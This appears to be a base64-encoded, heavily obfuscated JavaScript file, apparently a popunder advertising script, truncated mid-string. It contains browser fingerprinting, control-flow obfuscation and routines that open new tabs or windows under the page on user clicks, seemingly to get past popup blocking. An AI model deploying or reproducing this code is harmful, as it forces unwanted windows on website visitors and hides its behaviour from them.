LFpjLlAobykscjt9LEI6ZnVuY3Rpb24odCxlLG4pe3ZhciByLG8scztyPTA7bz1ufHwxMDtzPXQ7dHJ5e2Zvcig7cyYmcisrPG87KXtpZih0eXBlb2YgZT09PVRjJiYoc1tTYytHcittY109PT1lfHxaYy5JKHMsZSkpfHx0eXBlb2YgZT09PWFyJiZzPT09ZSl7cmV0dXJuIHM7fXc1Llk0KDQpO3M9c1t3NS51NChfdCxHcixpKV07fX1jYXRjaCh0KXt9cmV0dXJuIHl1O30sRjpmdW5jdGlvbih0KXt2YXIgZTtlPVJ0W1RlXTtyZXR1cm4gdHlwZW9mIHQhPT1nZSYmKGU9KGN0W2pjXSh0KXx8W0dyLEdyXSlbMV0pLGVbWl0oUGMsR3IpO30seDpmdW5jdGlvbih0KXtyZXR1cm4geWlbWHRdW1hzK0dyK2hdW0NpXSh0KT09PUdyK0pvK2FyK1llK2JuK3R0K0dyO30sazpmdW5jdGlvbih0KXt2YXIgZSxpLG4sUjAsUDAsSjA7aT1bXTtuPVpjLnYoKTt0cnl7UjA9LTE2Mjc2MTY5Mzc7UDA9LTIwMDI5NzgxNzY7SjA9Mjtmb3IodmFyIEIwPTE7dzUuTDEoQjAudG9TdHJpbmcoKSxCMC50b1N0cmluZygpLmxlbmd0aCw3NjkxMCkhPT1SMDtCMCsrKXtmb3IoZSBpbiBuKXt+dFtlXSE9Z2V8fGlbTXJdKGUvKChHci1ldCklR3IpLXRbZV0pO31KMCs9Mjt9aWYodzUuTDEoSjAudG9TdHJpbmcoKSxKMC50b1N0cmluZygpLmxlbmd0aCw4NjExMCkhPT1QMCl7Zm9yKGUgaW4gbil7fnRbZV0hPWdlfHxpW01yXShlLygoR3ItZXQpJUdyKS10W2VdKTt9fWZvcihlIGluIG4pe3R5cGVvZiB0W2VdIT09Z2UmJmlbTXJdKGUrKEdyK2V0K0dyKSt0W2VdKTt9fWNhdGNoKHQpe0tjLmUodCk7fXc1Llk0KDQpO3JldHVybiBpW05pXSh3NS5jNChHcixWZSxHcikpO30sUjpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy5CKHQsT24pO30seTpmdW5jdGlvbigpe2Zvcih2YXIgdCxlPXt9LGk9MDtpPGFyZ3VtZW50c1twaV07aSsrKWZvcih0IGluIGFyZ3VtZW50c1tpXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0oYXJndW1lbnRzW2ldLHQpJiYoZVt0XT1hcmd1bWVudHNbaV1bdF0pO31yZXR1cm4gZTt9LFY6ZnVuY3Rpb24odCxlKXt2YXIgSjEsWDEsQjE7SjE9NDUyODczNzI5O1gxPTEyNzMxMDM4NTg7QjE9Mjtmb3IodmFyIE4xPTE7dzUuZDEoTjEudG9TdHJpbmcoKSxOMS50b1N0cmluZygpLmxlbmd0aCw1NTI1MSkhPT1KMTtOMSsrKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpKihlLXQpKSt0O0IxKz0yO31pZih3NS5kMShCMS50b1N0cmluZygpLEIxLnRvU3RyaW5nKCkubGVuZ3RoLDI4MzUxKSE9PVgxKXtyZXR1cm4gZHJbQWNdKGRyW01uXSgpJShlL3QpKSV0O319LFE6ZnVuY3Rpb24odCl7dmFyIGUsaSxuO3c1Llk0KDgpO2U9dzUuYzQodHlwZW9mIHQsYXIpO2k9dDt3NS5vNCg0KTtuPXJpW1VzK0dyK0NhXSh3NS51NChTbixHcix1bykpO25bTHMrR3IrU24rR3IrQ2FdKGdzLGd1LGd1LHksMCwwLDAsMCwwLGd1LHl1LHl1LGd1LDAsbXUpO2V8fChpPVpjLnooVSx7aHJlZjp0fHxpZStWdCtyYStQZStqbytWZStHcit1aStkZSt1citKYStUdCtJbytSK0dyK1ArR3IrZXIrR3IrdWkrR3IrUGUrZGUrdXIrR3J9KSxyaVtRcl1bSXQrR3IrV2VdKGkpKTtpW2duK0dyK0NhXShuKTtlfHxaYy5QKGkpO30sejpmdW5jdGlvbih0LGUsaSl7dmFyIG4scjtyPXJpW1VzK0dyK0NuXSh0KTtmb3IobiBpbiBlKXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShlLG4pJiZyW2xpK0dyK0dpXShuLGVbbl0pO31yZXR1cm4gaSYmKHJbUGErR3IrYWkrR3IreGMrR3IrenQrR3IrcGFdPWkpLHI7fSxZOmZ1bmN0aW9uKCl7dHJ5e3c1Lm80KDQpO3JldHVybiEhT3VbdzUuYzQoZW4sUGUsTWMpXVt3NS51NCgkaSxHcixXcyldO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sbDpmdW5jdGlvbih0KXt2YXIgZSxpLFk3LGY3LHM3O2U9WmMuXyh0KTt3NS5ZNCg0KTtpPXRbWl0oQWEsdzUudTQoR3Isem8scSkpO3RyeXtZNz0tMTYzMTA2MDI3MDtmNz0xOTgxNTM2MDYxO3M3PTI7Zm9yKHZhciBXNz0xO3c1LkwxKFc3LnRvU3RyaW5nKCksVzcudG9TdHJpbmcoKS5sZW5ndGgsMTYwMikhPT1ZNztXNysrKXtyZXR1cm4rbmV3IFVyKChacy9ZZS1HcikvIGkveHIsUnMpW2lyXShlW1hzJUdyL2hdKCkpO3M3Kz0yO31pZih3NS5MMShzNy50b1N0cmluZygpLHM3LnRvU3RyaW5nKCkubGVuZ3RoLDExNjM3KSE9PWY3KXtyZXR1cm4hbmV3IFVyKFpzK1llK0dyK2kreHIsUnMpW2lyXShlW1hzK0dyK2hdKCkpO319Y2F0Y2godCl7cmV0dXJuIHRbWHMrR3IraF0oKVtMK0dyK1dhXShrbytZZStycytZZStVK1llK1pzKT4tMT9ndTpYYy5kP2d1Onl1O319LHY6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHIsbzt3NS5vNCg0KTtlPXlbdzUuYzQoUGEsR3IsZyldO3c1Llk0KDQpO2k9eVt3NS5jNChQYSxHcix3YyldO249eVtPaStHcitVZV18fHlbT2krR3IrV25dfHwwO3I9eVtPaStHcit4b118fHlbT2krR3IrQ2NdfHwwO289e307cmV0dXJuIG9bb2NdPWUsb1tLYV09aSxvW0hpXT1uLG9bcF09cixvW29yXT0wLG9bRWldPTEsb1tTcl09MSxvW09yXT0xLG8ucmVzaXphYmxlPTEsb1tNZV09MSxYYy5iJiYob1tLYV0rPVhjLm0/NDY6NTIpLFhjLmcmJihvW29jXS09NSxvW0thXS09NCksdHlwZW9mIHQ9PT1hciYmKG89WmMueShvLHQpKSxvO30sTzpmdW5jdGlvbih0KXt2YXIgZTtlPXJpW1VzK0dyK0NuXShjbik7cmV0dXJuIGVbeGVdW3h0XT1YaSx0JiZyaVtRcl1bSXQrR3IrV2VdKGUpLGU7fSxEOmZ1bmN0aW9uKHQpe3JldHVybiB0W1NjK0dyK21jXT09PUZjK0dyK1ZyK0dyK3hjK0dyK3hjK0dyK2ZjK0dyK2d0fHx0W1NjK0dyK21jXT09PXZhK0dyK2d0K0dyK210K0dyK1ZyK0dyK3hjJiZVbltpcl0odFthYStHcitHaV0oTykpfHx0aGlzLkIodCxGYytHcitWcitHcit4YytHcit4YytHcitmYytHcitndCkhPT15dTt9LFA6ZnVuY3Rpb24odCl7dCYmdFtfdCtHcitpXSYmdFtfdCtHcitpXVt4bitHcitXZV0odCk7fSxJOmZ1bmN0aW9uKHQsZSl7dmFyIG4scixvO2lmKHR5cGVvZiBlIT09VGMpe3JldHVybiB5dTt9aWYodHlwZW9mIHJpW2VlK0dyK3Z0K0dyK21dPT09WnMpdHJ5e3I9dFtfdCtHcitpXVtlZStHcit2dCtHcittXShlKXx8eS5qUXVlcnkoZSk7fWNhdGNoKHQpe31lbHNlIGlmKFpjLkEoKSl0cnl7cj15LmpRdWVyeShlKTt9Y2F0Y2godCl7fWlmKHIpZm9yKG89MDtvPHJbcGldO28rKylpZihyW29dPT09dCl7cmV0dXJuIGd1O31zd2l0Y2goZVswXSl7Y2FzZSBHcitUdCtHcjpuPVtsbyxlW2ZzXSgxKV07YnJlYWs7Y2FzZSBHcitzZStHcjpuPVtWYSxlW2ZzXSgxKV07fXJldHVybiBuP3RoaXMuVyh0LG5bMF0sblsxXSk6eXU7fSxmOmZ1bmN0aW9uKHQsZSl7dHJ5e3JldHVybiEoIXRba2ldW2VdfHwhdFtraV1bZV1bWW5dKTt9Y2F0Y2godCl7cmV0dXJuIHl1O319LE46ZnVuY3Rpb24odCl7dmFyIGU7ZT10aGlzLlIodCk7cmV0dXJuIGUmJmVbdW5dJiYheHNbaXJdKGVbdW5dKT9lW3VuXTp5dTt9LEo6ZnVuY3Rpb24odCxlLGksbil7Zm9yKHZhciByLG8scyxhPXRbWHMrR3IraF0oKVtDcl0obnx8R3IrVHQrR3IpLGM9ZVtYcytHcitoXSgpW0NyXShufHxHcitUdCtHciksdT0wLGY9ZHJbQm9dKGFbcGldLGNbcGldKTt1PGYmJihyPVVjKGFbdV18fDAsMTApLG89VWMoY1t1XXx8MCwxMCkscWMocikmJihyPTApLHFjKG8pJiYobz0wKSxzPXI+bz8xOi0xLHI9PT1vKTt1Kyspe3M9MDt9c3dpdGNoKGkpe2Nhc2UgR3IrdXIrR3I6dzUubzQoOCk7cmV0dXJuIHc1LnU0KDEscyk7Y2FzZSBHcit1citHcitldCtHcjp3NS5ZNCg5KTtyZXR1cm4gdzUuYzQocywxKTtjYXNlIEdyK3VpK0dyOnc1Lm80KDEwKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK3VpK0dyK2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCx